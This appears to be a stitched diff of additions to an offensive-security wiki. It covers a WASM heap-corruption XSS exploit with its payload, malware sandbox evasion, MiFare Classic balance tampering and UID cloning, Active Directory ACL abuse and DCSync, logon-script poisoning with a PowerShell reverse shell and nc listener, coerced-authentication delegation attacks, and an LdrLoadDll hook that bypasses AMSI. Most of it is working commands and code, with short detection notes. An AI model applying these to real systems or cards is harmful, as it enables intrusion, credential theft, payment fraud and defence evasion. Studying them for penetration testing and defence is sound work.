- After you overwrite the stub, sanitized message content becomes the JavaScript handler for onerror, so adding a new message with text like alert(1337) yields <img src=1 onerror=alert(1337)> and executes immediately in the DOM.
Chrome DevTools workflow (Emscripten glue)
- Break on the first Module.cwrap call in the JS glue and step into the wasm call site to capture pointer arguments (numeric offsets into linear memory).
- Use typed views like Module.HEAPU8 to read/write WASM memory from the console.
- Helper snippets:
```javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
```
End-to-end exploitation recipe
1) Groom: add N small messages to trigger realloc(). Ensure s->mess is adjacent to a user buffer.
2) Overflow: call editMsg() on the last message with a longer payload to overwrite an entry in s->mess, setting msg_data of message 0 to point at (stub_addr + 1). The +1 skips the leading '<' to keep tag alignment intact during the next edit.
3) Template rewrite: edit message 0 so its bytes overwrite the template with: "img src=1 onerror=%.*s ".
4) Trigger XSS: add a new message whose sanitized content is JavaScript, e.g., alert(1337). Rendering emits <img src=1 onerror=alert(1337)> and executes.
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
```json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
```
Why this bypass works
- WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy.
- The sanitizer only protects the source string; by corrupting the sink (the HTML template), sanitized input becomes the JS handler value and executes when inserted into the DOM.
- realloc()-driven adjacency plus unchecked memcpy in edit flows enables pointer corruption to redirect writes to attacker-chosen addresses within linear memory.
Generalization and other attack surface
- Any in-memory HTML template, JSON skeleton, or URL pattern embedded in linear memory can be targeted to change how sanitized data is interpreted downstream.
- Other common WASM pitfalls: out-of-bounds writes/reads in linear memory, UAF on heap objects, function-table misuse with unchecked indirect call indices, and JS↔WASM glue mismatches.
Defensive guidance
- In edit paths, verify new length ≤ capacity; resize buffers before copy (realloc to new_len) or use size-bounded APIs (snprintf/strlcpy) and track capacity.
- Keep immutable templates out of writable linear memory or integrity-check them before use.
- Treat JS↔WASM boundaries as untrusted: validate pointer ranges/lengths, fuzz exported interfaces, and cap memory growth.
- Sanitize at the sink: avoid building HTML in WASM; prefer safe DOM APIs over innerHTML-style templating.
- Avoid trusting URL-embedded state for privileged flows.
## References
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -17,6 +17,11 @@
| write() | send() |
| shutdown() | WSACleanup() |
### TLS pinning and chunked transport
Many loaders wrap their TCP stream in `SslStream` and pin the servers leaf certificate against an embedded copy (certificate pinning). Bot info/tasks are compressed (e.g., GZip). When responses exceed a threshold (~1 MB), data is fragmented into small chunks (e.g., 16 KB segments) to avoid size-based heuristics and reduce memory spikes during deserialisation.
### Persistence
| Registry | File | Service |
@ -49,6 +54,24 @@
| CreateToolhelp32Snapshot \[Check if a process is running] | |
| CreateFileW/A \[Check if a file exist] | |
### Emulator API fingerprinting & sleep evasion
Malware often fingerprints sandbox emulators by searching for Defenders virtualised exports (seen in the Malware Protection Emulator). If any of these symbols are present (case-insensitive scan of the process), execution is delayed for 1030 minutes and re-checked to waste analysis time.
Examples of API names used as canaries:
- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*`
- `VFS_*` family: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile`
- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads`
Typical delay primitive (user-land):
```cmd
cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
```
Argument gatekeeping
- Operators sometimes require a benign-looking CLI switch to be present before running the payload (e.g., `/i:--type=renderer` to mimic Chromium child processes). If the switch is absent, the loader exits immediately, hindering naive sandbox execution.
### Stealth
| Name | |
@ -190,6 +213,7 @@ Detection ideas:
## References
- [Unit42 New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Check Point Research Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -91,6 +91,58 @@ flipper-zero/fz-nfc.md
Or using the **proxmark**:
{{#ref}}
proxmark-3.md
{{#endref}}
### MiFare Classic offline stored-value tampering (broken Crypto1)
When a system stores a monetary balance directly on a MiFare Classic card, you can often manipulate it because Classic uses NXPs deprecated Crypto1 cipher. Crypto1 has been broken for years, allowing recovery of sector keys and full read/write of card memory with commodity hardware (e.g., Proxmark3).
End-to-end workflow (abstracted):
1) Dump the original card and recover keys
```bash
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn
```
This typically recovers sector keys (A/B) and generates a full-card dump in the client dumps folder.
2) Locate and understand the value/integrity fields
- Perform legitimate top-ups on the original card and take multiple dumps (before/after).
- Do a diff of the two dumps to identify the changing blocks/bytes that represent the balance and any integrity fields.
- Many Classic deployments either use the native "value block" encoding or roll their own checksums (e.g., XOR of the balance with another field and a constant). After changing the balance, recompute the integrity bytes accordingly and ensure all duplicated/complemented fields are consistent.
3) Write the modified dump to a writable “Chinese magic” Classic tag
```bash
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
```
4) Clone the original UID so terminals recognize the card
```bash
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
```
5) Use at terminals
Readers that trust the on-card balance and the UID will accept the manipulated card. Field observations show many deployments cap balances based on field width (e.g., 16-bit fixed-point).
Notes
- If the system uses native Classic value blocks, remember the format: value (4B) + ~value (4B) + value (4B) + block address + ~address. All parts must match.
- For custom formats with simple checksums, differential analysis is the fastest way to derive the integrity function without reversing firmware.
- Only UID-changeable tags ("Chinese magic" gen1a/gen2) allow writing block 0/UID. Normal Classic cards have read-only UIDs.
For hands-on Proxmark3 commands, see:
{{#ref}}
proxmark-3.md
{{#endref}}
@ -110,7 +162,8 @@ maxiprox-mobile-cloner.md
- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
- [Let's Clone a Cloner Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -35,6 +35,36 @@ proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write
The Proxmark3 allows to perform other actions like **eavesdropping** a **Tag to Reader communication** to try to find sensitive data. In this card you could just sniff the communication with and calculate the used key because the **cryptographic operations used are weak** and knowing the plain and cipher text you can calculate it (`mfkey64` tool).
#### MiFare Classic quick workflow for stored-value abuse
When terminals store balances on Classic cards, a typical end-to-end flow is:
```bash
# 1) Recover sector keys and dump full card
proxmark3> hf mf autopwn
# 2) Modify dump offline (adjust balance + integrity bytes)
# Use diffing of before/after top-up dumps to locate fields
# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
proxmark3> hf mf cload -f modified.bin
# 4) Clone original UID so readers recognize the card
proxmark3> hf mf csetuid -u <original_uid>
```
Notes
- `hf mf autopwn` orchestrates nested/darkside/HardNested-style attacks, recovers keys, and creates dumps in the client dumps folder.
- Writing block 0/UID only works on magic gen1a/gen2 cards. Normal Classic cards have read-only UID.
- Many deployments use Classic "value blocks" or simple checksums. Ensure all duplicated/complemented fields and checksums are consistent after editing.
See a higher-level methodology and mitigations in:
{{#ref}}
pentesting-rfid.md
{{#endref}}
### Raw Commands
IoT systems sometimes use **nonbranded or noncommercial tags**. In this case, you can use Proxmark3 to send custom **raw commands to the tags**.
@ -61,7 +91,11 @@ proxmark3> script run mfkeys
You can create a script to **fuzz tag readers**, so copying the data of a **valid card** just write a **Lua script** that **randomize** one or more random **bytes** and check if the **reader crashes** with any iteration.
## References
- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare)
- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards)
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -16,6 +16,19 @@ BadSuccessor.md
This privilege grants an attacker full control over a target user account. Once `GenericAll` rights are confirmed using the `Get-ObjectAcl` command, an attacker can:
- **Change the Target's Password**: Using `net user <username> <password> /domain`, the attacker can reset the user's password.
- From Linux, you can do the same over SAMR with Samba `net rpc`:
```bash
# Reset target user's password over SAMR from Linux
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
```
- **If the account is disabled, clear the UAC flag**: `GenericAll` allows editing `userAccountControl`. From Linux, BloodyAD can remove the `ACCOUNTDISABLE` flag:
```bash
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
```
- **Targeted Kerberoasting**: Assign an SPN to the user's account to make it kerberoastable, then use Rubeus and targetedKerberoast.py to extract and attempt to crack the ticket-granting ticket (TGT) hashes.
```bash
@ -30,6 +43,12 @@ Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipal
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- **Shadow Credentials / Key Credential Link**: With `GenericAll` on a user you can add a certificate-based credential and authenticate as them without changing their password. See:
{{#ref}}
shadow-credentials.md
{{#endref}}
## **GenericAll Rights on Group**
This privilege allows an attacker to manipulate group memberships if they have `GenericAll` rights on a group like `Domain Admins`. After identifying the group's distinguished name with `Get-NetGroup`, the attacker can:
@ -131,6 +150,15 @@ Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
```
- From Linux, Samba `net` can add/remove members when you hold `GenericWrite` on the group (useful when PowerShell/RSAT are unavailable):
```bash
# Add yourself to the target group via SAMR
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
# Verify current members
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
```
## **WriteDACL + WriteOwner**
Owning an AD object and having `WriteDACL` privileges on it enables an attacker to grant themselves `GenericAll` privileges over the object. This is accomplished through ADSI manipulation, allowing for full control over the object and the ability to modify its group memberships. Despite this, limitations exist when trying to exploit these privileges using the Active Directory module's `Set-Acl` / `Get-Acl` cmdlets.
@ -143,6 +171,31 @@ $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
```
### WriteDACL/WriteOwner quick takeover (PowerView)
When you have `WriteOwner` and `WriteDacl` over a user or service account, you can take full control and reset its password using PowerView without knowing the old password:
```powershell
# Load PowerView
. .\PowerView.ps1
# Grant yourself full control over the target object (adds GenericAll in the DACL)
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
# Set a new password for the target principal
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
```
Notes:
- You may need to first change the owner to yourself if you only have `WriteOwner`:
```powershell
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
```
- Validate access with any protocol (SMB/LDAP/RDP/WinRM) after password reset.
## **Replication on the Domain (DCSync)**
The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
@ -208,6 +261,71 @@ The XML configuration file for Users and Groups outlines how these changes are i
Furthermore, additional methods for executing code or maintaining persistence, such as leveraging logon/logoff scripts, modifying registry keys for autoruns, installing software via .msi files, or editing service configurations, can also be considered. These techniques provide various avenues for maintaining access and controlling target systems through the abuse of GPOs.
## SYSVOL/NETLOGON Logon Script Poisoning
Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
### Locate logon scripts
- Inspect user attributes for a configured logon script:
```powershell
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
```
- Crawl domain shares to surface shortcuts or references to scripts:
```bash
# NetExec spider (authenticated)
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
```
- Parse `.lnk` files to resolve targets pointing into SYSVOL/NETLOGON (useful DFIR trick and for attackers without direct GPO access):
```bash
# LnkParse3
lnkparse login.vbs.lnk
# Example target revealed:
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
```
- BloodHound displays the `logonScript` (scriptPath) attribute on user nodes when present.
### Validate write access (dont trust share listings)
Automated tooling may show SYSVOL/NETLOGON as read-only, but underlying NTFS ACLs can still allow writes. Always test:
```bash
# Interactive write test
smbclient \\<dc>\SYSVOL -U <user>%<pass>
smb: \\> cd <domain>\scripts\
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
```
If file size or mtime changes, you have write. Preserve originals before modifying.
### Poison a VBScript logon script for RCE
Append a command that launches a PowerShell reverse shell (generate from revshells.com) and keep original logic to avoid breaking business function:
```vb
' At top of login.vbs
Set cmdshell = CreateObject("Wscript.Shell")
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
' Existing mappings remain
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
```
Listen on your host and wait for the next interactive logon:
```bash
rlwrap -cAr nc -lnvp 443
```
Notes:
- Execution happens under the logging users token (not SYSTEM). Scope is the GPO link (OU, site, domain) applying that script.
- Clean up by restoring the original content/timestamps after use.
## References
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
@ -217,6 +335,10 @@ Furthermore, additional methods for executing code or maintaining persistence, s
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
- [BloodyAD AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
- [Samba net rpc (group membership)](https://www.samba.org/)
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -35,6 +35,24 @@ secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-history] #To dump password history, may be helpful for offline password cracking
```
### DCSync using a captured DC machine TGT (ccache)
In unconstrained-delegation export-mode scenarios, you may capture a Domain Controller machine TGT (e.g., `DC1$@DOMAIN` for `krbtgt@DOMAIN`). You can then use that ccache to authenticate as the DC and perform DCSync without a password.
```bash
# Generate a krb5.conf for the realm (helper)
netexec smb <DC_FQDN> --generate-krb5-file krb5.conf
sudo tee /etc/krb5.conf < krb5.conf
# netexec helper using KRB5CCNAME
KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
netexec smb <DC_FQDN> --use-kcache --ntds
# Or Impacket with Kerberos from ccache
KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
secretsdump.py -just-dc -k -no-pass <DOMAIN>/ -dc-ip <DC_IP>
```
`-just-dc` generates 3 files:
- one with the **NTLM hashes**
@ -70,8 +88,6 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)
- [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/)
- HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA: https://0xdf.gitlab.io/2025/09/12/htb-delegate.html
{{#include ../../banners/hacktricks-training.md}}

View File

@ -155,6 +155,42 @@ Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=4}
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=28}
```
#### Targeted Kerberoast via GenericWrite/GenericAll over a user (temporary SPN)
When BloodHound shows that you have control over a user object (e.g., GenericWrite/GenericAll), you can reliably “targeted-roast” that specific user even if they do not currently have any SPNs:
- Add a temporary SPN to the controlled user to make it roastable.
- Request a TGS-REP encrypted with RC4 (etype 23) for that SPN to favor cracking.
- Crack the `$krb5tgs$23$...` hash with hashcat.
- Clean up the SPN to reduce footprint.
Windows (PowerView/Rubeus):
```powershell
# Add temporary SPN on the target user
Set-DomainObject -Identity <targetUser> -Set @{serviceprincipalname='fake/TempSvc-<rand>'} -Verbose
# Request RC4 TGS for that user (single target)
.\Rubeus.exe kerberoast /user:<targetUser> /nowrap /rc4
# Remove SPN afterwards
Set-DomainObject -Identity <targetUser> -Clear serviceprincipalname -Verbose
```
Linux one-liner (targetedKerberoast.py automates add SPN -> request TGS (etype 23) -> remove SPN):
```bash
targetedKerberoast.py -d '<DOMAIN>' -u <WRITER_SAM> -p '<WRITER_PASS>'
```
Crack the output with hashcat autodetect (mode 13100 for `$krb5tgs$23$`):
```bash
hashcat <outfile>.hash /path/to/rockyou.txt
```
Detection notes: adding/removing SPNs produces directory changes (Event ID 5136/4738 on the target user) and the TGS request generates Event ID 4769. Consider throttling and prompt cleanup.
You can find useful tools for kerberoast attacks here: https://github.com/nidem/kerberoast
If you find this error from Linux: `Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)` its due to local time skew. Sync to the DC:
@ -233,10 +269,12 @@ asreproast.md
## References
- [https://github.com/ShutdownRepo/targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)
- Microsoft Security Blog (2024-10-11) Microsofts guidance to help mitigate Kerberoasting: https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/
- SpecterOps Rubeus Roasting documentation: https://docs.specterops.io/ghostpack/rubeus/roasting
- HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA: https://0xdf.gitlab.io/2025/09/12/htb-delegate.html
{{#include ../../banners/hacktricks-training.md}}

View File

@ -58,11 +58,109 @@ Find here other ways to **force an authentication:**
printers-spooler-service-abuse.md
{{#endref}}
### Abusing Unconstrained Delegation with an attacker-created computer
Modern domains often have `MachineAccountQuota > 0` (default 10), allowing any authenticated principal to create up to N computer objects. If you also hold the `SeEnableDelegationPrivilege` token privilege (or equivalent rights), you can set the newly created computer to be trusted for unconstrained delegation and harvest inbound TGTs from privileged systems.
High-level flow:
1) Create a computer you control
```bash
# Impacket addcomputer.py (any authenticated user if MachineAccountQuota > 0)
addcomputer.py -computer-name <FAKEHOST> -computer-pass '<Strong.Passw0rd>' -dc-ip <DC_IP> <DOMAIN>/<USER>:'<PASS>'
```
2) Make the fake hostname resolvable inside the domain
```bash
# krbrelayx dnstool.py - add an A record for the host FQDN to point to your listener IP
python3 dnstool.py -u '<DOMAIN>\\<FAKEHOST>$' -p '<Strong.Passw0rd>' \
--action add --record <FAKEHOST>.<DOMAIN_FQDN> --type A --data <ATTACKER_IP> \
-dns-ip <DC_IP> <DC_FQDN>
```
3) Enable Unconstrained Delegation on the attacker-controlled computer
```bash
# Requires SeEnableDelegationPrivilege (commonly held by domain admins or delegated admins)
# BloodyAD example
bloodyAD -d <DOMAIN_FQDN> -u <USER> -p '<PASS>' --host <DC_FQDN> add uac '<FAKEHOST>$' -f TRUSTED_FOR_DELEGATION
```
Why this works: with unconstrained delegation, the LSA on a delegation-enabled computer caches inbound TGTs. If you trick a DC or privileged server to authenticate to your fake host, its machine TGT will be stored and can be exported.
4) Start krbrelayx in export mode and prepare the machine NT hash
```bash
# Compute NT hash (MD4 over UTF-16LE) of the machine account password
python3 - << 'PY'
password = '<Strong.Passw0rd>'
import hashlib
print(hashlib.new('md4', password.encode('utf-16le')).hexdigest())
PY
# Launch krbrelayx to export any inbound TGTs
python3 krbrelayx.py -hashes :<NT_HASH>
```
5) Coerce authentication from the DC/servers to your fake host
```bash
# netexec (CME fork) coerce_plus module supports multiple coercion vectors
# Common options: METHOD=PrinterBug|PetitPotam|DFSCoerce|MSEven
netexec smb <DC_FQDN> -u '<FAKEHOST>$' -p '<Strong.Passw0rd>' -M coerce_plus -o LISTENER=<FAKEHOST>.<DOMAIN_FQDN> METHOD=PrinterBug
```
krbrelayx will save ccache files when a machine authenticates, for example:
```
Got ticket for DC1$@DOMAIN.TLD [krbtgt@DOMAIN.TLD]
Saving ticket in DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache
```
6) Use the captured DC machine TGT to perform DCSync
```bash
# Create a krb5.conf for the realm (netexec helper)
netexec smb <DC_FQDN> --generate-krb5-file krb5.conf
sudo tee /etc/krb5.conf < krb5.conf
# Use the saved ccache to DCSync (netexec helper)
KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
netexec smb <DC_FQDN> --use-kcache --ntds
# Alternatively with Impacket (Kerberos from ccache)
KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
secretsdump.py -just-dc -k -no-pass <DOMAIN>/ -dc-ip <DC_IP>
```
Notes and requirements:
- `MachineAccountQuota > 0` enables unprivileged computer creation; otherwise you need explicit rights.
- Setting `TRUSTED_FOR_DELEGATION` on a computer requires `SeEnableDelegationPrivilege` (or domain admin).
- Ensure name resolution to your fake host (DNS A record) so the DC can reach it by FQDN.
- Coercion requires a viable vector (PrinterBug/MS-RPRN, EFSRPC/PetitPotam, DFSCoerce, MS-EVEN, etc.). Disable these on DCs if possible.
Detection and hardening ideas:
- Alert on Event ID 4741 (computer account created) and 4742/4738 (computer/user account changed) when UAC `TRUSTED_FOR_DELEGATION` is set.
- Monitor for unusual DNS A-record additions in the domain zone.
- Watch for spikes in 4768/4769 from unexpected hosts and DC-authentications to non-DC hosts.
- Restrict `SeEnableDelegationPrivilege` to a minimal set, set `MachineAccountQuota=0` where feasible, and disable Print Spooler on DCs. Enforce LDAP signing and channel binding.
### Mitigation
- Limit DA/Admin logins to specific services
- Set "Account is sensitive and cannot be delegated" for privileged accounts.
## References
- HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA: https://0xdf.gitlab.io/2025/09/12/htb-delegate.html
- harmj0y S4U2Pwnage: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
- ired.team Domain compromise via unrestricted delegation: https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation
- krbrelayx: https://github.com/dirkjanm/krbrelayx
- Impacket addcomputer.py: https://github.com/fortra/impacket
- BloodyAD: https://github.com/CravateRouge/bloodyAD
- netexec (CME fork): https://github.com/Pennyw0rth/NetExec
{{#include ../../banners/hacktricks-training.md}}

View File

@ -275,7 +275,42 @@ This technique was initially discovered by [@RastaMouse](https://twitter.com/_Ra
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
### Blocking AMSI by preventing amsi.dll load (LdrLoadDll hook)
AMSI is initialised only after `amsi.dll` is loaded into the current process. A robust, languageagnostic bypass is to place a usermode hook on `ntdll!LdrLoadDll` that returns an error when the requested module is `amsi.dll`. As a result, AMSI never loads and no scans occur for that process.
Implementation outline (x64 C/C++ pseudocode):
```c
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
static pLdrLoadDll realLdrLoadDll;
NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
if (module && module->Buffer){
UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
if (RtlEqualUnicodeString(module, &amsi, TRUE)){
// Pretend the DLL cannot be found → AMSI never initialises in this process
return STATUS_DLL_NOT_FOUND; // 0xC0000135
}
}
return realLdrLoadDll(path, flags, module, handle);
}
void InstallHook(){
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
// e.g., Microsoft Detours / MinHook / custom 14byte jmp thunk
}
```
Notes
